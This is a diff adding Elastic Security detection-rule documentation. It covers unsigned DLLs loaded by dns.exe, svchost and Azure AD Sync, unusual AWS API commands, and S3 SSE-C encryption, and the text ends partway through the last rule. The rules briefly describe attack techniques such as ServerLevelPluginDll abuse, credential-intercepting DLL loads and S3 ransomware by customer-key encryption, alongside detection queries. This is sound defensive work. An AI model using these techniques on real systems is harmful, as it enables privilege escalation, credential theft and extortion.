b/docs/detections/prebuilt-rules/downloadable-packages/8-19-20/prebuilt-rule-8-19-20-unsigned-dll-loaded-by-dns-service.asciidoc new file mode 100644 index 0000000000..9014b4e536 --- /dev/null +++ b/docs/detections/prebuilt-rules/downloadable-packages/8-19-20/prebuilt-rule-8-19-20-unsigned-dll-loaded-by-dns-service.asciidoc @@ -0,0 +1,137 @@ +[[prebuilt-rule-8-19-20-unsigned-dll-loaded-by-dns-service]] +=== Unsigned DLL loaded by DNS Service + +Identifies unusual DLLs loaded by the DNS Server process, potentially indicating the abuse of the ServerLevelPluginDll functionality. This can lead to privilege escalation and remote code execution with SYSTEM privileges. + +*Rule type*: eql + +*Rule indices*: + +* logs-endpoint.events.library-* +* logs-windows.sysmon_operational-* +* winlogbeat-* + +*Severity*: medium + +*Risk score*: 47 + +*Runs every*: 5m + +*Searches indices from*: now-9m ({ref}/common-options.html#date-math[Date Math format], see also <>) + +*Maximum alerts per execution*: 100 + +*References*: + +* https://cube0x0.github.io/Pocing-Beyond-DA/ +* https://adsecurity.org/?p=4064 +* https://github.com/gtworek/PSBits/tree/master/ServerLevelPluginDll + +*Tags*: + +* Domain: Endpoint +* OS: Windows +* Use Case: Threat Detection +* Tactic: Privilege Escalation +* Data Source: Elastic Defend +* Data Source: Sysmon +* Resources: Investigation Guide + +*Version*: 107 + +*Rule authors*: + +* Elastic + +*Rule license*: Elastic License v2 + + +==== Investigation guide + + + +*Triage and analysis* + + +> **Disclaimer**: +> This investigation guide was created using generative AI technology and has been reviewed to improve its accuracy and relevance. While every effort has been made to ensure its quality, we recommend validating the content and adapting it to suit your specific environment and operational needs. + + +*Investigating Unsigned DLL loaded by DNS Service* + + +The DNS service in Windows environments is crucial for resolving domain names to IP addresses. It can be extended via DLLs, which, if unsigned, may indicate tampering. Adversaries exploit this by loading malicious DLLs to gain elevated privileges or execute code with SYSTEM rights. The detection rule identifies such threats by monitoring the DNS process for loading untrusted DLLs, flagging potential privilege escalation attempts. + + +*Possible investigation steps* + + +- Review the alert details to identify the specific DLL file that was loaded by the DNS service and check its file path and name for any known malicious indicators. +- Examine the file's code signature status and metadata to determine why it is not trusted or valid, and cross-reference with known trusted sources or databases. +- Investigate the process tree of dns.exe to identify any parent or child processes that may indicate how the unsigned DLL was introduced or executed. +- Check the system's event logs for any recent changes or anomalies around the time the DLL was loaded, focusing on events related to process creation, file modification, or user account activity. +- Analyze network traffic logs for any unusual DNS queries or outbound connections that could suggest communication with a command and control server. +- Assess the system for other signs of compromise, such as unauthorized user accounts, scheduled tasks, or registry changes that could indicate further exploitation or persistence mechanisms. +- If possible, isolate the affected system to prevent further potential malicious activity and begin remediation steps based on the findings. + + +*False positive analysis* + + +- Legitimate software updates or patches may introduce new DLLs that are unsigned. Verify the source of the update and, if trusted, create an exception for these DLLs to prevent future alerts. +- Custom or in-house applications might use unsigned DLLs for specific functionalities. Confirm the legitimacy of these applications and add them to an allowlist to avoid unnecessary alerts. +- Some third-party security or monitoring tools may load unsigned DLLs as part of their operation. Validate these tools with your security team and configure exceptions for known, safe DLLs. +- Development or testing environments often use unsigned DLLs during the software development lifecycle. Ensure these environments are properly segmented and consider excluding them from this rule to reduce noise. +- Legacy systems might rely on older, unsigned DLLs that are still in use. Conduct a risk assessment and, if deemed safe, exclude these DLLs from triggering alerts. + + +*Response and remediation* + + +- Immediately isolate the affected system from the network to prevent further exploitation or lateral movement by the adversary. +- Terminate the DNS service process (dns.exe) to stop the execution of the malicious DLL and prevent further potential damage. +- Conduct a thorough scan of the system using updated antivirus and anti-malware tools to identify and remove any additional malicious files or software. +- Restore the DNS service to its original state by replacing the compromised DLL with a legitimate, signed version from a trusted source or backup. +- Review and update the system's security patches and configurations to address any vulnerabilities that may have been exploited, particularly those related to privilege escalation. +- Monitor the system and network for any signs of continued or repeated unauthorized activity, focusing on similar indicators of compromise. +- Report the incident to the appropriate internal security team or external authorities if required, providing details of the threat and actions taken for further investigation and response. + +==== Rule query + + +[source, js] +---------------------------------- +any where host.os.type == "windows" and event.category : ("library", "process") and + event.type : ("start", "change") and event.action : ("load", "Image loaded*") and + process.executable : "?:\\windows\\system32\\dns.exe" and + not ?dll.code_signature.trusted == true and + not file.code_signature.status == "Valid" + +---------------------------------- + +*Framework*: MITRE ATT&CK^TM^ + +* Tactic: +** Name: Privilege Escalation +** ID: TA0004 +** Reference URL: https://attack.mitre.org/tactics/TA0004/ +* Technique: +** Name: Exploitation for Privilege Escalation +** ID: T1068 +** Reference URL: https://attack.mitre.org/techniques/T1068/ +* Tactic: +** Name: Execution +** ID: TA0002 +** Reference URL: https://attack.mitre.org/tactics/TA0002/ +* Technique: +** Name: Shared Modules +** ID: T1129 +** Reference URL: https://attack.mitre.org/techniques/T1129/ +* Tactic: +** Name: Persistence +** ID: TA0003 +** Reference URL: https://attack.mitre.org/tactics/TA0003/ +* Technique: +** Name: Server Software Component +** ID: T1505 +** Reference URL: https://attack.mitre.org/techniques/T1505/ diff --git a/docs/detections/prebuilt-rules/downloadable-packages/8-19-20/prebuilt-rule-8-19-20-unsigned-dll-loaded-by-svchost.asciidoc b/docs/detections/prebuilt-rules/downloadable-packages/8-19-20/prebuilt-rule-8-19-20-unsigned-dll-loaded-by-svchost.asciidoc new file mode 100644 index 0000000000..45061414ee --- /dev/null +++ b/docs/detections/prebuilt-rules/downloadable-packages/8-19-20/prebuilt-rule-8-19-20-unsigned-dll-loaded-by-svchost.asciidoc @@ -0,0 +1,240 @@ +[[prebuilt-rule-8-19-20-unsigned-dll-loaded-by-svchost]] +=== Unsigned DLL Loaded by Svchost + +Identifies an unsigned library created in the last 5 minutes and subsequently loaded by a shared windows service (svchost). Adversaries may use this technique to maintain persistence or run with System privileges. + +*Rule type*: eql + +*Rule indices*: + +* logs-endpoint.events.library-* + +*Severity*: medium + +*Risk score*: 47 + +*Runs every*: 5m + +*Searches indices from*: now-9m ({ref}/common-options.html#date-math[Date Math format], see also <>) + +*Maximum alerts per execution*: 100 + +*References*: + +* https://www.elastic.co/security-labs/Hunting-for-Suspicious-Windows-Libraries-for-Execution-and-Evasion + +*Tags*: + +* Domain: Endpoint +* OS: Windows +* Use Case: Threat Detection +* Tactic: Persistence +* Tactic: Defense Evasion +* Tactic: Execution +* Data Source: Elastic Defend +* Resources: Investigation Guide + +*Version*: 11 + +*Rule authors*: + +* Elastic + +*Rule license*: Elastic License v2 + + +==== Investigation guide + + + +*Triage and analysis* + + +> **Disclaimer**: +> This investigation guide was created using generative AI technology and has been reviewed to improve its accuracy and relevance. While every effort has been made to ensure its quality, we recommend validating the content and adapting it to suit your specific environment and operational needs. + + +*Investigating Unsigned DLL Loaded by Svchost* + + +Svchost.exe is a critical Windows process that hosts multiple services, allowing efficient resource management. Adversaries exploit this by loading unsigned DLLs to gain persistence or execute code with elevated privileges. The detection rule identifies such threats by monitoring DLLs recently created and loaded by svchost, focusing on untrusted signatures and unusual file paths, thus highlighting potential malicious activity. + + +*Possible investigation steps* + + +- Review the specific DLL file path and hash (dll.path and dll.hash.sha256) to determine if it is known to be associated with legitimate software or if it is potentially malicious. +- Check the creation time of the DLL (dll.Ext.relative_file_creation_time) to understand the timeline of events and correlate it with other activities on the system around the same time. +- Investigate the process that loaded the DLL (process.executable) to determine if it is a legitimate instance of svchost.exe or if it has been tampered with or replaced. +- Analyze the code signature status (dll.code_signature.trusted and dll.code_signature.status) to verify if the DLL is unsigned or has an untrusted signature, which could indicate tampering or a malicious origin. +- Cross-reference the DLL's hash (dll.hash.sha256) against known malware databases or threat intelligence sources to identify if it is associated with known threats. +- Examine the system for other indicators of compromise, such as unusual network activity or additional suspicious files, to assess the scope of potential malicious activity. +- Consider isolating the affected system to prevent further potential compromise while conducting a deeper forensic analysis. + + +*False positive analysis* + + +- System maintenance or updates may trigger the rule by loading legitimate unsigned DLLs. Users can create exceptions for known update processes or maintenance activities to prevent unnecessary alerts. +- Custom or in-house applications might load unsigned DLLs from unusual paths. Verify the legitimacy of these applications and consider adding their specific paths to the exclusion list if they are deemed safe. +- Security or monitoring tools might use unsigned DLLs for legitimate purposes. Identify these tools and exclude their associated DLLs by hash or path to reduce false positives. +- Temporary files created by legitimate software in monitored directories can be mistaken for threats. Regularly review and update the exclusion list to include hashes of these known benign files. +- Development environments often generate unsigned DLLs during testing phases. Ensure that development paths are excluded from monitoring to avoid false alerts during software development cycles. + + +*Response and remediation* + + +- Isolate the affected system from the network to prevent further malicious activity and lateral movement. +- Terminate the svchost.exe process that loaded the unsigned DLL to stop any ongoing malicious actions. +- Remove the identified unsigned DLL from the system to eliminate the immediate threat. +- Conduct a full antivirus and anti-malware scan on the affected system to detect and remove any additional threats. +- Review and restore any modified system configurations or settings to their original state to ensure system integrity. +- Escalate the incident to the security operations team for further analysis and to determine if additional systems are affected. +- Implement enhanced monitoring and logging for svchost.exe and DLL loading activities to detect similar threats in the future. + +==== Rule query + + +[source, js] +---------------------------------- +library where host.os.type == "windows" and + + process.executable : + ("?:\\Windows\\System32\\svchost.exe", "?:\\Windows\\Syswow64\\svchost.exe") and + + dll.code_signature.trusted != true and + + not dll.code_signature.status : ("trusted", "errorExpired", "errorCode_endpoint*") and + + dll.hash.sha256 != null and + + ( + /* DLL created within 5 minutes of the library load event - compatible with Elastic Endpoint 8.4+ */ + dll.Ext.relative_file_creation_time <= 300 or + + /* unusual paths */ + dll.path :("?:\\ProgramData\\*", + "?:\\Users\\*", + "?:\\PerfLogs\\*", + "?:\\Windows\\Tasks\\*", + "?:\\Intel\\*", + "?:\\AMD\\Temp\\*", + "?:\\Windows\\AppReadiness\\*", + "?:\\Windows\\ServiceState\\*", + "?:\\Windows\\security\\*", + "?:\\Windows\\IdentityCRL\\*", + "?:\\Windows\\Branding\\*", + "?:\\Windows\\csc\\*", + "?:\\Windows\\DigitalLocker\\*", + "?:\\Windows\\en-US\\*", + "?:\\Windows\\wlansvc\\*", + "?:\\Windows\\Prefetch\\*", + "?:\\Windows\\Fonts\\*", + "?:\\Windows\\diagnostics\\*", + "?:\\Windows\\TAPI\\*", + "?:\\Windows\\INF\\*", + "?:\\Windows\\System32\\Speech\\*", + "?:\\windows\\tracing\\*", + "?:\\windows\\IME\\*", + "?:\\Windows\\Performance\\*", + "?:\\windows\\intel\\*", + "?:\\windows\\ms\\*", + "?:\\Windows\\dot3svc\\*", + "?:\\Windows\\panther\\*", + "?:\\Windows\\RemotePackages\\*", + "?:\\Windows\\OCR\\*", + "?:\\Windows\\appcompat\\*", + "?:\\Windows\\apppatch\\*", + "?:\\Windows\\addins\\*", + "?:\\Windows\\Setup\\*", + "?:\\Windows\\Help\\*", + "?:\\Windows\\SKB\\*", + "?:\\Windows\\Vss\\*", + "?:\\Windows\\servicing\\*", + "?:\\Windows\\CbsTemp\\*", + "?:\\Windows\\Logs\\*", + "?:\\Windows\\WaaS\\*", + "?:\\Windows\\twain_32\\*", + "?:\\Windows\\ShellExperiences\\*", + "?:\\Windows\\ShellComponents\\*", + "?:\\Windows\\PLA\\*", + "?:\\Windows\\Migration\\*", + "?:\\Windows\\debug\\*", + "?:\\Windows\\Cursors\\*", + "?:\\Windows\\Containers\\*", + "?:\\Windows\\Boot\\*", + "?:\\Windows\\bcastdvr\\*", + "?:\\Windows\\TextInput\\*", + "?:\\Windows\\security\\*", + "?:\\Windows\\schemas\\*", + "?:\\Windows\\SchCache\\*", + "?:\\Windows\\Resources\\*", + "?:\\Windows\\rescache\\*", + "?:\\Windows\\Provisioning\\*", + "?:\\Windows\\PrintDialog\\*", + "?:\\Windows\\PolicyDefinitions\\*", + "?:\\Windows\\media\\*", + "?:\\Windows\\Globalization\\*", + "?:\\Windows\\L2Schemas\\*", + "?:\\Windows\\LiveKernelReports\\*", + "?:\\Windows\\ModemLogs\\*", + "?:\\Windows\\ImmersiveControlPanel\\*", + "?:\\$Recycle.Bin\\*") + ) and + + not dll.hash.sha256 : + ("3ed33e71641645367442e65dca6dab0d326b22b48ef9a4c2a2488e67383aa9a6", + "b4db053f6032964df1b254ac44cb995ffaeb4f3ade09597670aba4f172cf65e4", + "214c75f678bc596bbe667a3b520aaaf09a0e50c364a28ac738a02f867a085eba", + "23aa95b637a1bf6188b386c21c4e87967ede80242327c55447a5bb70d9439244", + "5050b025909e81ae5481db37beb807a80c52fc6dd30c8aa47c9f7841e2a31be7") + +---------------------------------- + +*Framework*: MITRE ATT&CK^TM^ + +* Tactic: +** Name: Persistence +** ID: TA0003 +** Reference URL: https://attack.mitre.org/tactics/TA0003/ +* Technique: +** Name: Create or Modify System Process +** ID: T1543 +** Reference URL: https://attack.mitre.org/techniques/T1543/ +* Sub-technique: +** Name: Windows Service +** ID: T1543.003 +** Reference URL: https://attack.mitre.org/techniques/T1543/003/ +* Technique: +** Name: Hijack Execution Flow +** ID: T1574 +** Reference URL: https://attack.mitre.org/techniques/T1574/ +* Sub-technique: +** Name: Services Registry Permissions Weakness +** ID: T1574.011 +** Reference URL: https://attack.mitre.org/techniques/T1574/011/ +* Tactic: +** Name: Defense Evasion +** ID: TA0005 +** Reference URL: https://attack.mitre.org/tactics/TA0005/ +* Technique: +** Name: Masquerading +** ID: T1036 +** Reference URL: https://attack.mitre.org/techniques/T1036/ +* Sub-technique: +** Name: Invalid Code Signature +** ID: T1036.001 +** Reference URL: https://attack.mitre.org/techniques/T1036/001/ +* Tactic: +** Name: Execution +** ID: TA0002 +** Reference URL: https://attack.mitre.org/tactics/TA0002/ +* Technique: +** Name: System Services +** ID: T1569 +** Reference URL: https://attack.mitre.org/techniques/T1569/ +* Sub-technique: +** Name: Service Execution +** ID: T1569.002 +** Reference URL: https://attack.mitre.org/techniques/T1569/002/ diff --git a/docs/detections/prebuilt-rules/downloadable-packages/8-19-20/prebuilt-rule-8-19-20-untrusted-dll-loaded-by-azure-ad-sync-service.asciidoc b/docs/detections/prebuilt-rules/downloadable-packages/8-19-20/prebuilt-rule-8-19-20-untrusted-dll-loaded-by-azure-ad-sync-service.asciidoc new file mode 100644 index 0000000000..6dc7c07218 --- /dev/null +++ b/docs/detections/prebuilt-rules/downloadable-packages/8-19-20/prebuilt-rule-8-19-20-untrusted-dll-loaded-by-azure-ad-sync-service.asciidoc @@ -0,0 +1,151 @@ +[[prebuilt-rule-8-19-20-untrusted-dll-loaded-by-azure-ad-sync-service]] +=== Untrusted DLL Loaded by Azure AD Sync Service + +Identifies the load of a DLL without a valid code signature by the Azure AD Sync process, which may indicate an attempt to persist or collect sensitive credentials passing through the Azure AD synchronization server. + +*Rule type*: eql + +*Rule indices*: + +* winlogbeat-* +* logs-endpoint.events.library-* +* logs-windows.sysmon_operational-* + +*Severity*: high + +*Risk score*: 73 + +*Runs every*: 5m + +*Searches indices from*: now-9m ({ref}/common-options.html#date-math[Date Math format], see also <>) + +*Maximum alerts per execution*: 100 + +*References*: + +* https://blog.xpnsec.com/azuread-connect-for-redteam/ +* https://medium.com/@breakingmhet/detect-azure-pass-through-authentication-abuse-azure-hybrid-environments-ed4274784252 +* https://learn.microsoft.com/en-us/azure/active-directory/hybrid/tshoot-connect-pass-through-authentication + +*Tags*: + +* Domain: Endpoint +* OS: Windows +* Use Case: Threat Detection +* Tactic: Credential Access +* Data Source: Elastic Defend +* Data Source: Sysmon +* Resources: Investigation Guide + +*Version*: 106 + +*Rule authors*: + +* Elastic +* Matteo Potito Giorgio + +*Rule license*: Elastic License v2 + + +==== Investigation guide + + + +*Triage and analysis* + + +> **Disclaimer**: +> This investigation guide was created using generative AI technology and has been reviewed to improve its accuracy and relevance. While every effort has been made to ensure its quality, we recommend validating the content and adapting it to suit your specific environment and operational needs. + + +*Investigating Untrusted DLL Loaded by Azure AD Sync Service* + + +Azure AD Sync Service facilitates identity synchronization between on-premises directories and Azure AD, crucial for seamless authentication. Adversaries may exploit this by loading malicious DLLs to intercept credentials. The detection rule identifies untrusted DLLs loaded by the Azure AD Sync process, focusing on those lacking valid signatures and excluding known safe paths, thus highlighting potential credential access threats. + + +*Possible investigation steps* + + +- Review the process details for AzureADConnectAuthenticationAgentService.exe to confirm its legitimacy and check for any unusual behavior or anomalies. +- Examine the specific DLL file path that triggered the alert to determine if it is located in an unexpected or suspicious directory. +- Investigate the code signature status of the DLL to understand why it is untrusted, and verify if the DLL should have a valid signature. +- Check the system for any recent changes or installations that could have introduced the untrusted DLL, focusing on the timeframe around the alert. +- Analyze the event logs for any other suspicious activities or related alerts that might indicate a broader compromise or attack pattern. +- Correlate the alert with other security tools or logs to gather additional context and determine if this is part of a larger attack campaign. + + +*False positive analysis* + + +- DLLs from legitimate software updates or installations may trigger alerts if they are not yet recognized as trusted. Users can monitor these occurrences and verify the legitimacy of the software source before adding exceptions. +- Custom or in-house developed applications might load DLLs that lack valid signatures. Users should ensure these applications are from a trusted source and consider signing them or adding their paths to the exclusion list. +- DLLs located in non-standard directories that are part of legitimate software operations can be flagged. Users should verify the software's legitimacy and update the exclusion list with these specific paths if necessary. +- Temporary files or DLLs created during software installation or updates might be flagged. Users should confirm the installation process and temporarily exclude these paths during the update period. +- Security or monitoring tools that dynamically load DLLs for legitimate purposes may be misidentified. Users should verify the tool's activity and add it to the exclusion list if it is deemed safe. + + +*Response and remediation* + + +- Immediately isolate the affected Azure AD Sync server from the network to prevent further unauthorized access or data exfiltration. +- Terminate the AzureADConnectAuthenticationAgentService.exe process to stop the execution of the untrusted DLL and prevent potential credential dumping. +- Conduct a thorough review of the loaded DLLs on the affected server to identify and remove any malicious or unauthorized files. +- Restore the server from a known good backup taken before the incident to ensure the system is free from compromise. +- Change all credentials that may have been exposed or compromised, focusing on those related to Azure AD and on-premises directory services. +- Implement application whitelisting to prevent unauthorized DLLs from being loaded by critical processes like Azure AD Sync. +- Escalate the incident to the security operations center (SOC) for further investigation and to determine if additional systems are affected. + +==== Rule query + + +[source, js] +---------------------------------- +any where host.os.type == "windows" and process.name : "AzureADConnectAuthenticationAgentService.exe" and +( + (event.category == "library" and event.action == "load") or + (event.category == "process" and event.action : "Image loaded*") +) and + +not (?dll.code_signature.trusted == true or file.code_signature.status == "Valid") and not + + ( + /* Elastic defend DLL path */ + ?dll.path : + ("?:\\Windows\\assembly\\NativeImages*", + "?:\\Windows\\Microsoft.NET\\*", + "?:\\Windows\\WinSxS\\*", + "?:\\Windows\\System32\\DriverStore\\FileRepository\\*") or + + /* Sysmon DLL path is mapped to file.path */ + file.path : + ("?:\\Windows\\assembly\\NativeImages*", + "?:\\Windows\\Microsoft.NET\\*", + "?:\\Windows\\WinSxS\\*", + "?:\\Windows\\System32\\DriverStore\\FileRepository\\*") + ) + +---------------------------------- + +*Framework*: MITRE ATT&CK^TM^ + +* Tactic: +** Name: Credential Access +** ID: TA0006 +** Reference URL: https://attack.mitre.org/tactics/TA0006/ +* Technique: +** Name: OS Credential Dumping +** ID: T1003 +** Reference URL: https://attack.mitre.org/techniques/T1003/ +* Tactic: +** Name: Defense Evasion +** ID: TA0005 +** Reference URL: https://attack.mitre.org/tactics/TA0005/ +* Technique: +** Name: Hijack Execution Flow +** ID: T1574 +** Reference URL: https://attack.mitre.org/techniques/T1574/ +* Sub-technique: +** Name: DLL +** ID: T1574.001 +** Reference URL: https://attack.mitre.org/techniques/T1574/001/ diff --git a/docs/detections/prebuilt-rules/downloadable-packages/8-19-20/prebuilt-rule-8-19-20-unusual-aws-command-for-a-user.asciidoc b/docs/detections/prebuilt-rules/downloadable-packages/8-19-20/prebuilt-rule-8-19-20-unusual-aws-command-for-a-user.asciidoc new file mode 100644 index 0000000000..c797df17cc --- /dev/null +++ b/docs/detections/prebuilt-rules/downloadable-packages/8-19-20/prebuilt-rule-8-19-20-unusual-aws-command-for-a-user.asciidoc @@ -0,0 +1,204 @@ +[[prebuilt-rule-8-19-20-unusual-aws-command-for-a-user]] +=== Unusual AWS Command for a User + +A machine learning job detected an AWS API command that, while not inherently suspicious or abnormal, is being made by a user context that does not normally use the command. This can be the result of compromised credentials or keys as someone uses a valid account to persist, move laterally, or exfiltrate data. + +*Rule type*: machine_learning + +*Rule indices*: None + +*Severity*: low + +*Risk score*: 21 + +*Runs every*: 15m + +*Searches indices from*: now-2h ({ref}/common-options.html#date-math[Date Math format], see also <>) + +*Maximum alerts per execution*: 100 + +*References*: + +* https://www.elastic.co/guide/en/security/current/prebuilt-ml-jobs.html + +*Tags*: + +* Domain: Cloud +* Data Source: AWS +* Data Source: Amazon Web Services +* Rule Type: ML +* Rule Type: Machine Learning +* Resources: Investigation Guide + +*Version*: 213 + +*Rule authors*: + +* Elastic + +*Rule license*: Elastic License v2 + + +==== Investigation guide + + + +*Triage and analysis* + + + +*Investigating Unusual AWS Command for a User* + + +CloudTrail logging provides visibility on actions taken within an AWS environment. By monitoring these events and understanding what is considered normal behavior within an organization, you can spot suspicious or malicious activity when deviations occur. + +This rule uses a machine learning job to detect an AWS API command that while not inherently suspicious or abnormal, is being made by a user context that does not normally use the command. This can be the result of compromised credentials or keys as someone uses a valid account to persist, move laterally, or exfiltrate data. + +Detection alerts from this rule indicate an AWS API command or method call that is rare and unusual for the calling IAM user. + + +*Possible investigation steps* + + +- Identify the user account involved and the action performed. Verify whether it should perform this kind of action. + - Examine the user identity in the `aws.cloudtrail.user_identity.arn` field and the access key ID in the `aws.cloudtrail.user_identity.access_key_id` field, which can help identify the precise user context. + - The user agent details in the `user_agent.original` field may also indicate what kind of a client made the request. +- Investigate other alerts associated with the user account during the past 48 hours. +- Validate the activity is not related to planned patches, updates, or network administrator activity. +- Examine the request parameters. These might indicate the source of the program or the nature of its tasks. +- Considering the source IP address and geolocation of the user who issued the command: + - Do they look normal for the calling user? + - If the source is an EC2 IP address, is it associated with an EC2 instance in one of your accounts or is the source IP from an EC2 instance that's not under your control? + - If it is an authorized EC2 instance, is the activity associated with normal behavior for the instance role or roles? Are there any other alerts or signs of suspicious activity involving this instance? +- Consider the time of day. If the user is a human (not a program or script), did the activity take place during a normal time of day? +- Contact the account owner and confirm whether they are aware of this activity if suspicious. +- If you suspect the account has been compromised, scope potentially compromised assets by tracking servers, services, and data accessed by the account in the last 24 hours. + + +*False positive analysis* + + +- Examine the history of the command. If the command only manifested recently, it might be part of a new automation module or script. If it has a consistent cadence (for example, it appears in small numbers on a weekly or monthly cadence), it might be part of a housekeeping or maintenance process. You can find the command in the `event.action field` field. + + +*Related Rules* + + +- Unusual City For an AWS Command - 809b70d3-e2c3-455e-af1b-2626a5a1a276 +- Unusual Country For an AWS Command - dca28dee-c999-400f-b640-50a081cc0fd1 +- Rare AWS Error Code - 19de8096-e2b0-4bd8-80c9-34a820813fff +- Spike in AWS Error Messages - 78d3d8d9-b476-451d-a9e0-7a5addd70670 + + +*Response and remediation* + + +- Initiate the incident response process based on the outcome of the triage. +- Disable or limit the account during the investigation and response. +- Identify the possible impact of the incident and prioritize accordingly; the following actions can help you gain context: + - Identify the account role in the cloud environment. + - Assess the criticality of affected services and servers. + - Work with your IT team to identify and minimize the impact on users. + - Identify if the attacker is moving laterally and compromising other accounts, servers, or services. + - Identify any regulatory or legal ramifications related to this activity. +- Investigate credential exposure on systems compromised or used by the attacker to ensure all compromised accounts are identified. Reset passwords or delete API keys as needed to revoke the attacker's access to the environment. Work with your IT teams to minimize the impact on business operations during these actions. +- Check if unauthorized new users were created, remove unauthorized new accounts, and request password resets for other IAM users. +- Consider enabling multi-factor authentication for users. +- Review the permissions assigned to the implicated user to ensure that the least privilege principle is being followed. +- Implement security best practices https://aws.amazon.com/premiumsupport/knowledge-center/security-best-practices/[outlined] by AWS. +- Take the actions needed to return affected systems, data, or services to their normal operational levels. +- Identify the initial vector abused by the attacker and take action to prevent reinfection via the same vector. +- Using the incident response data, update logging and audit policies to improve the mean time to detect (MTTD) and the mean time to respond (MTTR). + + +==== Setup + + + +*Setup* + + +This rule requires the installation of associated Machine Learning jobs, as well as data coming in from AWS. + + +*Anomaly Detection Setup* + + +Once the rule is enabled, the associated Machine Learning job will start automatically. You can view the Machine Learning job linked under the "Definition" panel of the detection rule. If the job does not start due to an error, the issue must be resolved for the job to commence successfully. For more details on setting up anomaly detection jobs, refer to the https://www.elastic.co/guide/en/kibana/current/xpack-ml-anomalies.html[helper guide]. + + +*AWS Integration Setup* + +The AWS integration allows you to collect logs and metrics from Amazon Web Services (AWS) with Elastic Agent. + + +*The following steps should be executed in order to add the Elastic Agent System integration "aws" to your system:* + +- Go to the Kibana home page and click “Add integrations”. +- In the query bar, search for “AWS” and select the integration to see more details about it. +- Click “Add AWS”. +- Configure the integration name and optionally add a description. +- Review optional and advanced settings accordingly. +- Add the newly installed “aws” to an existing or a new agent policy, and deploy the agent on your system from which aws log files are desirable. +- Click “Save and Continue”. +- For more details on the integration refer to the https://www.elastic.co/docs/current/integrations/aws[helper guide]. + + +*Framework*: MITRE ATT&CK^TM^ + +* Tactic: +** Name: Initial Access +** ID: TA0001 +** Reference URL: https://attack.mitre.org/tactics/TA0001/ +* Technique: +** Name: Valid Accounts +** ID: T1078 +** Reference URL: https://attack.mitre.org/techniques/T1078/ +* Sub-technique: +** Name: Cloud Accounts +** ID: T1078.004 +** Reference URL: https://attack.mitre.org/techniques/T1078/004/ +* Tactic: +** Name: Lateral Movement +** ID: TA0008 +** Reference URL: https://attack.mitre.org/tactics/TA0008/ +* Technique: +** Name: Remote Services +** ID: T1021 +** Reference URL: https://attack.mitre.org/techniques/T1021/ +* Sub-technique: +** Name: Cloud Services +** ID: T1021.007 +** Reference URL: https://attack.mitre.org/techniques/T1021/007/ +* Tactic: +** Name: Persistence +** ID: TA0003 +** Reference URL: https://attack.mitre.org/tactics/TA0003/ +* Technique: +** Name: Valid Accounts +** ID: T1078 +** Reference URL: https://attack.mitre.org/techniques/T1078/ +* Sub-technique: +** Name: Cloud Accounts +** ID: T1078.004 +** Reference URL: https://attack.mitre.org/techniques/T1078/004/ +* Tactic: +** Name: Exfiltration +** ID: TA0010 +** Reference URL: https://attack.mitre.org/tactics/TA0010/ +* Technique: +** Name: Exfiltration Over C2 Channel +** ID: T1041 +** Reference URL: https://attack.mitre.org/techniques/T1041/ +* Tactic: +** Name: Defense Evasion +** ID: TA0005 +** Reference URL: https://attack.mitre.org/tactics/TA0005/ +* Technique: +** Name: Valid Accounts +** ID: T1078 +** Reference URL: https://attack.mitre.org/techniques/T1078/ +* Sub-technique: +** Name: Cloud Accounts +** ID: T1078.004 +** Reference URL: https://attack.mitre.org/techniques/T1078/004/ diff --git a/docs/detections/prebuilt-rules/downloadable-packages/8-19-20/prebuilt-rule-8-19-20-unusual-aws-s3-object-encryption-with-sse-c.asciidoc b/docs/detections/prebuilt-rules/downloadable-packages/8-19-20/prebuilt-rule-8-19-20-unusual-aws-s3-object-encryption-with-sse-c.asciidoc new file mode 100644 index 0000000000..3f680b125d --- /dev/null +++ b/docs/detections/prebuilt-rules/downloadable-packages/8-19-20/prebuilt-rule-8-19-20-unusual-aws-s3-object-encryption-with-sse-c.asciidoc @@ -0,0 +1,155 @@ +[[prebuilt-rule-8-19-20-unusual-aws-s3-object-encryption-with-sse-c]] +=== Unusual AWS S3 Object Encryption with SSE-C + +Identifies when AWS S3 objects stored in a bucket are encrypted using Server-Side Encryption with Customer-Provided Keys (SSE-C). Adversaries with compromised AWS credentials can encrypt objects in an S3 bucket using their own encryption keys, rendering the objects unreadable or recoverable without the key. This can be used as a form of ransomware to extort the bucket owner for the decryption key. This is a New Terms rule that flags when this behavior is observed for the first time user and target bucket name. + +*Rule type*: new_terms + +*Rule indices*: + +* filebeat-* +* logs-aws.cloudtrail-* + +*Severity*: high + +*Risk score*: 73 + +*Runs every*: 5m + +*Searches indices from*: now-6m ({ref}/common-options.html#date-math[Date Math format], see also <>) + +*Maximum alerts per execution*: 100 + +*References*: + +* https://www.halcyon.ai/blog/abusing-aws-native-services-ransomware-encrypting-s3-buckets-with-sse-c +* https://docs.aws.amazon.com/AmazonS3/latest/userguide/ServerSideEncryptionCustomerKeys.html + +*Tags*: + +* Domain: Cloud +* Data Source: AWS +* Data Source: Amazon Web Services +* Data Source: AWS S3 +* Resources: Investigation Guide +* Use Case: Threat Detection +* Tactic: Impact + +*Version*: 7 + +*Rule authors*: + +* Elastic + +*Rule license*: Elastic License v2 + + +==== Investigation guide + + + +*Triage and analysis* + + + +*Investigating Unusual AWS S3 Object Encryption with SSE-C* + + +This rule identifies the use of Server-Side Encryption with Customer-Provided Keys (SSE-C) in AWS S3. This could indicate malicious activity, such as ransomware encrypting objects, rendering them inaccessible without the corresponding encryption keys. + + +*Possible investigation steps* + + +**Identify the user and source**: + - Review the `aws.cloudtrail.user_identity.arn` to identify the IAM user or role performing the operation. + - Cross-check the `source.ip` and `user_agent.original` fields for unusual IPs or user agents that could indicate unauthorized access. + - Review the `aws.cloudtrail.user_identity.access_key_id` to identify the access key used. This could be a compromised key. + +**Examine the targeted resources**: + - Check `aws.cloudtrail.request_parameters` to identify the bucket involved. + - Analyze the object key from `aws.cloudtrail.request_parameters`. + +**Evaluate encryption behavior**: + - Confirm the encryption details in `aws.cloudtrail.request_parameters` and `aws.cloudtrail.additional_eventdata`. + - Note if `SSEApplied` is `SSE-C`, which confirms encryption using a customer-provided key. + +**Correlate with recent events**: + - Look for any suspicious activity in proximity to the encryption event, such as new access key creation, policy changes, or unusual access patterns from the same user or IP. + - Identify `ListBucket` or `GetObject` operations on the same bucket to determine all affected objects. + - For `PutObject` events, identify any other unusual objecs uploaded such as a ransom note. + +**Validate access permissions**: + - Check the IAM policies and roles associated with the user to verify if they had legitimate access to encrypt objects. + +**Assess impact**: + - Identify the number of encrypted objects in the bucket by examining other similar events. + - Determine if this encryption aligns with standard business practices or constitutes a deviation. + + +*False positive analysis* + + +- Confirm if SSE-C encryption is part of regular operations for compliance or data protection. +- Cross-reference known processes or users authorized for SSE-C encryption in 